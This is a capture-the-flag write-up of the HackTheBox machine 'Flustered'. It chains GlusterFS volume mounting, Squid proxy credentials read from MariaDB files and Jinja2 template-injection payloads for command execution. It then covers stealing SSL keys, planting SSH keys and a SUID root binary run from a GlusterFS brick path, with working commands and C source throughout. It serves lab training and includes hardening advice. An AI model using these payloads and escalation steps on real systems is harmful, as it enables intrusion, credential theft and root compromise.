← Back to Writeups
kavklaw@llm ~ /writeups/htb-flustered

kavklaw@llm $ cat writeup.md

Flustered

GlusterFS to Azure Root — Squid Proxy Creds, Jinja2 SSTI, SSL Cert Theft, SUID Brick Bypass

Pentest Medium HackTheBox 2026-02-07
nmap GlusterFS MariaDB Squid proxy Flask SSTI Azure Storage Azurite SSH

🎯 Attack Chain Summary

Flustered is a Medium-rated Linux box on HackTheBox running Debian 10 (Buster). It features a creative attack chain that pivots through a distributed filesystem, a web proxy, and a server-side template injection to reach full root compromise. If you're new to security, every concept is explained as we go.

Here's the high-level kill chain (each phase builds on the last):

  1. Reconnaissance — Discover a rich attack surface: web server, Squid proxy, and GlusterFS volumes
  2. GlusterFS Enumeration — Mount an unprotected volume containing a MariaDB data directory, extract Squid proxy credentials from raw database files
  3. Squid Proxy Access — Authenticate to the proxy and discover the Flask application source code, revealing a critical SSTI vulnerability
  4. Jinja2 SSTI → RCE — Exploit the template injection for remote code execution as www-data
  5. SSL Cert Theft → vol1 — Exfiltrate GlusterFS SSL certificates through SSTI, mount the encrypted volume to access jennifer's home directory and the user flag
  6. Privilege Escalation — Exploit a GlusterFS FUSE ownership quirk: files written via the GlusterFS client are owned by root, and while the FUSE mount uses nosuid, the underlying brick directory on disk doesn't — allowing SUID binary execution as root
Key Technologies: GlusterFS 7.2, Squid 4.6, nginx 1.14.2, Flask/Jinja2, MariaDB, Docker/Azurite

🔍 Phase 1 — Reconnaissance

Every penetration test starts with figuring out what's running on the target. We begin with an nmap scan to knock on every port and catalog the services behind them.

Port Scan

$ nmap -sC -sV -p- flustered.htb

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http        nginx 1.14.2
111/tcp   open  rpcbind     2-4 (RPC #100000)
3128/tcp  open  http-proxy  Squid http proxy 4.6
24007/tcp open  glusterd    GlusterFS daemon
49152/tcp open  ssl/unknown
| ssl-cert: Subject: CN=flustered.htb
49153/tcp open  unknown

This is an unusually rich attack surface for a Medium box. Let's break down what we're seeing:

  • Port 22 — SSH — Standard remote access. We'll need credentials or a key to use it.
  • Port 80 — nginx 1.14.2 — A web server. Let's see what's being served.
  • Port 111 — rpcbindrpcbind suggests NFS or GlusterFS is in play.
  • Port 3128 — Squid 4.6 — A web proxy requiring Basic authentication (realm "Web-Proxy").
  • Port 24007 — GlusterFS daemon — The management port for GlusterFS. We can use the gluster CLI to talk to it remotely.
  • Ports 49152-49153 — GlusterFS bricks — The actual data ports where volumes are served. Port 49152 has an SSL cert with CN=flustered.htb.

Web Application

Visiting port 80 in a browser reveals a minimal page:

$ curl -s http://flustered.htb/

<title>steampunk-era.htb - Coming Soon</title>
...

A "Coming Soon" page for steampunk-era.htb. The page itself isn't interesting, but the hostname matters — we'll add both flustered.htb and steampunk-era.htb to our /etc/hosts file. The backend is Flask (revealed by response headers), which means Python templates — a detail that becomes critical later.

📦 Phase 2 — GlusterFS Enumeration

Listing Volumes

GlusterFS's management daemon on port 24007 often allows unauthenticated remote queries. Let's see what volumes exist:

$ gluster --remote-host=flustered.htb volume list
vol1
vol2

Two volumes! Let's examine their configuration to understand the access controls:

$ gluster --remote-host=flustered.htb volume info vol2

Volume Name: vol2
Type: Distribute
Status: Started
Transport-type: tcp
Options:
  auth.allow: *
  client.ssl: off
  features.read-only: enable

Volume vol2 is wide open: auth.allow: * means anyone can connect, client.ssl: off means no encryption required, and it's read-only. Volume vol1, by contrast, requires SSL client certificates — we can't access it yet.

Mounting vol2

Since vol2 has no access restrictions, we can mount it directly:

$ mkdir /mnt/vol2
$ mount -t glusterfs flustered.htb:/vol2 /mnt/vol2

$ ls /mnt/vol2/
aria_log.00000001  ibdata1  ib_logfile0  mysql/  performance_schema/  squid/

This is a MariaDB data directory (/var/lib/mysql). The presence of aria_log, ibdata1, and ib_logfile0 are telltale signs. And there's a database called squid — likely containing the Squid proxy's authentication data!

Extracting Squid Credentials

MariaDB stores InnoDB table data in .ibd files. We can use strings to extract readable text from the binary file:

$ strings /mnt/vol2/squid/passwd.ibd

lance.friedman
o>WJ5-jD<5^m3

Credentials! Username lance.friedman and password o>WJ5-jD<5^m3. These are almost certainly the Squid proxy's Basic Auth credentials that we need for port 3128.

🔓 Phase 3 — Squid Proxy → Source Code Discovery

Authenticating to Squid

With the extracted credentials, we can now use the Squid proxy to make requests on behalf of the server:

$ curl -x 'http://lance.friedman:o>WJ5-jD<5^[email protected]:3128' \
  http://127.0.0.1/

<!DOCTYPE html>
<title>Welcome to nginx!</title>
...

Interesting! Through the proxy, 127.0.0.1 returns the nginx default page — a different virtual host than what we see externally. This means the proxy lets us access internal services that aren't exposed to the outside.

Finding the Application Source

Through the proxy, we can brute-force directories on the internal web server. This reveals the Flask application's source code at /app/:

$ curl -x 'http://lance.friedman:o>WJ5-jD<5^[email protected]:3128' \
  http://127.0.0.1/app/app.py

from flask import Flask, render_template_string, request, json
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    config = {"siteurl": "steampunk-era.htb"}
    if request.method == "POST":
        data = json.loads(request.data)
        config.update(data)
    template = '<title>' + config["siteurl"] + '</title> ...'
    return render_template_string(template)

This is a textbook SSTI vulnerability. Let's break down why:

  1. The app accepts a JSON POST body and merges it into the config dictionary using config.update(data)
  2. The config["siteurl"] value is concatenated directly into a template string
  3. That string is passed to render_template_string()

If we POST {"siteurl":"{{7*7}}"}, Jinja2 will evaluate 7*7 and render 49 in the page title. If that works, we can escalate to full code execution.

💥 Phase 4 — SSTI → Remote Code Execution

Confirming the Injection

We don't even need the Squid proxy for this — the vulnerable endpoint is the external-facing Flask app at steampunk-era.htb:

$ curl -s http://steampunk-era.htb/ \
  -H "Content-Type: application/json" \
  -d '{"siteurl":"{{7*7}}"}'

<title>49</title>

The title shows 49 instead of {{7*7}}confirmed Jinja2 SSTI! The template engine evaluated our expression. Now let's escalate from math to operating system commands.

Achieving RCE

Jinja2 runs inside Python, so we can traverse Python's object hierarchy to reach the os module and execute shell commands:

$ curl -s http://steampunk-era.htb/ \
  -H "Content-Type: application/json" \
  -d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"id\").read() }}"}'

<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)</title>

We have remote code execution as www-data! The payload works by:

  • self.__init__.__globals__ — Access the global namespace of the template's module
  • __builtins__.__import__("os") — Import Python's os module
  • .popen("id").read() — Execute the id command and read its output

We're running commands as www-data — the web server user. This is a limited account, but it's enough to read files on the system and pivot to the next phase.

🔐 Phase 5 — SSL Cert Theft → GlusterFS vol1 → User Flag

Finding the GlusterFS SSL Certificates

Remember vol1? It requires SSL client certificates. As www-data, let's see if we can read the GlusterFS SSL material:

$ curl -s http://steampunk-era.htb/ \
  -H "Content-Type: application/json" \
  -d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"ls -la /etc/ssl/glusterfs.*\").read() }}"}'

<title>-rw-r--r-- 1 root root 1822 Oct 22 2021 /etc/ssl/glusterfs.ca
-rw-r--r-- 1 root root 1826 Oct 22 2021 /etc/ssl/glusterfs.pem
-rw-r----- 1 root ssl-cert 3243 Oct 22 2021 /etc/ssl/glusterfs.key</title>

The SSL certificates are readable! The .pem (public cert) and .ca (CA cert) are world-readable. The .key (private key) is readable by the ssl-cert group — and www-data happens to be in that group on this system.

Exfiltrating the Certificates

We extract the certificates through SSTI by base64-encoding them (to avoid special characters breaking the template):

$ curl -s http://steampunk-era.htb/ \
  -H "Content-Type: application/json" \
  -d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"cat /etc/ssl/glusterfs.pem | base64\").read() }}"}' \
  | grep -oP '(?<=<title>).*(?=</title>)' | base64 -d > glusterfs.pem

$ # Repeat for glusterfs.key and glusterfs.ca

Now let's check vol1's configuration to understand why these certs grant access:

$ gluster --remote-host=flustered.htb volume info vol1

Volume Name: vol1
Options:
  server.ssl: on
  auth.ssl-allow: flustered.htb,web01.htb
  client.ssl: on

The auth.ssl-allow list accepts clients with certificates for flustered.htb — and our stolen cert has exactly that CN! The GlusterFS SSL auth is based on the certificate's Common Name matching an entry in the allow list.

Mounting vol1

We place the stolen certificates where the GlusterFS client expects them and mount vol1:

$ cp glusterfs.pem /etc/ssl/glusterfs.pem
$ cp glusterfs.key /etc/ssl/glusterfs.key
$ cp glusterfs.ca  /etc/ssl/glusterfs.ca

$ mkdir /mnt/vol1
$ mount -t glusterfs flustered.htb:/vol1 /mnt/vol1

$ ls -la /mnt/vol1/
drwxr-xr-x jennifer jennifer .
-rw-r--r-- jennifer jennifer user.txt
drwx------ jennifer jennifer .ssh

vol1 contains jennifer's home directory! We can read the user flag and write our SSH key for persistent access:

$ cat /mnt/vol1/user.txt
🏆 User Flag
a20ddd9ca42bbc8914256e8f2b81efec
$ # Write SSH key for persistent access
$ mkdir -p /mnt/vol1/.ssh
$ echo "ssh-rsa AAAA...our_pubkey..." > /mnt/vol1/.ssh/authorized_keys
$ chmod 700 /mnt/vol1/.ssh
$ chmod 600 /mnt/vol1/.ssh/authorized_keys

$ ssh [email protected]
jennifer@flustered:~$

We now have a stable SSH shell as jennifer. Time to escalate to root.

👑 Phase 6 — Root via GlusterFS SUID Brick Bypass

Understanding the GlusterFS Ownership Quirk

GlusterFS has an interesting property: its FUSE client runs as root, which means any file written through a GlusterFS mount is owned by root (UID 0). This is by design — GlusterFS trusts its clients.

The sysadmin was aware of this risk and configured the local mount with the nosuid option:

jennifer@flustered:~$ grep vol1 /etc/fstab
localhost:/vol1 /home/jennifer glusterfs defaults,_netdev,noauto,nosuid,x-systemd.automount 0 0

The nosuid flag means even if a file has the SUID bit set, the OS won't honor it when executed from /home/jennifer. Smart — but there's a critical oversight.

The Brick Path Bypass

GlusterFS stores the actual data for each volume in a brick directory on the underlying filesystem. While the FUSE mount at /home/jennifer has nosuid, the raw brick path is just a regular directory on the ext4 root filesystem — with no nosuid restriction:

jennifer@flustered:~$ mount | grep vol1
flustered.htb:/vol1 on /home/jennifer type fuse.glusterfs (...,nosuid,...)

jennifer@flustered:~$ ls /gluster/bricks/brick1/vol1/
user.txt  .ssh/

The same files exist in both locations — the FUSE mount (/home/jennifer) and the brick path (/gluster/bricks/brick1/vol1/). But only the FUSE mount has nosuid. The brick path is on the root filesystem where SUID is honored.

Crafting the SUID Binary

We compile a minimal C program that sets its UID/GID to root and executes a command. Since the target is Debian 10 and might not have the exact same libraries, we compile it statically:

$ cat rootcmd.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    setuid(0);
    setgid(0);
    system(argv[1]);
    return 0;
}

$ gcc -static -o rootcmd rootcmd.c

Placing the Binary via GlusterFS

When we copy the binary onto the GlusterFS volume from our attacking machine (which has the volume mounted), the FUSE client writes it as root-owned. We also set the SUID bit:

$ # On our Kali box with vol1 mounted:
$ cp rootcmd /mnt/vol1/.rootcmd
$ chmod 4755 /mnt/vol1/.rootcmd

$ # Verify on the target — the file appears root-owned:
jennifer@flustered:~$ ls -la /gluster/bricks/brick1/vol1/.rootcmd
-rwsr-xr-x 1 root root 871448 Feb  7 01:15 /gluster/bricks/brick1/vol1/.rootcmd

The file is root-owned with SUID set (the s in -rwsr-xr-x). On the FUSE mount at /home/jennifer/.rootcmd, the SUID bit would be ignored due to nosuid. But from the brick path...

Executing from the Brick Path

jennifer@flustered:~$ /gluster/bricks/brick1/vol1/.rootcmd 'id'
uid=0(root) gid=0(root) groups=0(root)

jennifer@flustered:~$ /gluster/bricks/brick1/vol1/.rootcmd 'cat /root/root.txt'
🏆 Root Flag
0602ee6c1594fb778f72d0a31fbae589

Full compromise. The nosuid mount option was bypassed entirely by executing from the raw brick directory instead of the FUSE mount.

🐳 Side Note — Docker/Azurite (Intended Path)

During enumeration as jennifer, we discovered a Docker container running on the box:

jennifer@flustered:~$ curl -s http://172.17.0.2:10000/
<?xml version="1.0" encoding="UTF-8"?>
... Azure Blob Storage ...
AccountName: jennifer

This is Azurite (Azure Blob Storage emulator v3.14.3) with an account named "jennifer." The intended root path likely involves finding the Azurite storage account key, connecting to the blob storage, and downloading root's SSH private key. We bypassed this entirely with the GlusterFS SUID brick trick — a more creative (and arguably more interesting) approach.

📚 Key Takeaways

  • Distributed filesystems are treasure troves. GlusterFS volumes with auth.allow: * are essentially open file shares. Always check what data is stored — in this case, an entire MariaDB data directory was exposed, including authentication tables with plaintext credentials.
  • Proxy servers expand the attack surface. Squid proxy credentials gave us access to internal-only services (like the Flask source code). Web proxies are often overlooked during hardening but can expose internal applications to external attackers.
  • Never use render_template_string() with user input. This is the number one cause of SSTI vulnerabilities in Flask applications. Use render_template() with separate template files instead, and never concatenate user input into template strings.
  • nosuid isn't enough for GlusterFS. The FUSE mount had nosuid, but the underlying brick directory on the host filesystem didn't. Any mitigation must account for ALL paths to the same data — not just the obvious one.
  • GlusterFS FUSE clients run as root. Files written through a GlusterFS mount are owned by UID 0. Combined with brick-path SUID execution, this creates a trivial privilege escalation. In production, brick directories should be on filesystems mounted with nosuid as well.
  • Defense-in-depth matters. This box required chaining 5 distinct vulnerabilities across GlusterFS, MariaDB, Squid, Flask, and the Linux filesystem. Each unsecured layer enabled the next exploitation step.

🛠 Tools Used

  • nmap — Port scanning & service detection
  • gluster — GlusterFS CLI for remote volume enumeration and mounting
  • strings — Extract readable text from binary files (MariaDB .ibd)
  • curl — HTTP requests (direct and through Squid proxy)
  • gobuster — Directory brute-forcing through the proxy
  • gcc — Compile the SUID privilege escalation binary
  • ssh — Remote access with injected authorized_keys

🎓 What I Learned

  • GlusterFS enumeration — ports 24007 (daemon) and 49152+ (bricks) reveal volumes; some may be wide open with auth.allow: *
  • InnoDB file extraction — you can read MySQL table data with just strings on .ibd files, no MySQL server needed
  • SSTI through proxies — Flask's render_template_string() allows RCE even when the app is only accessible through a Squid proxy
  • Azure account name brute force — "Invalid storage account" vs "AuthorizationFailure" creates a boolean oracle via Host header
  • Base64 for data exfil through SSTI — encodes multiline content to avoid HTML title tag truncation

🔀 Alternative Paths

  • Docker/Azurite path for root — Instead of the GlusterFS SUID trick, the intended root path was likely: Azure Storage key → Docker container → Azurite blob → root SSH key
  • Direct MariaDB access — if you had valid credentials, you could connect to MariaDB directly instead of extracting from .ibd files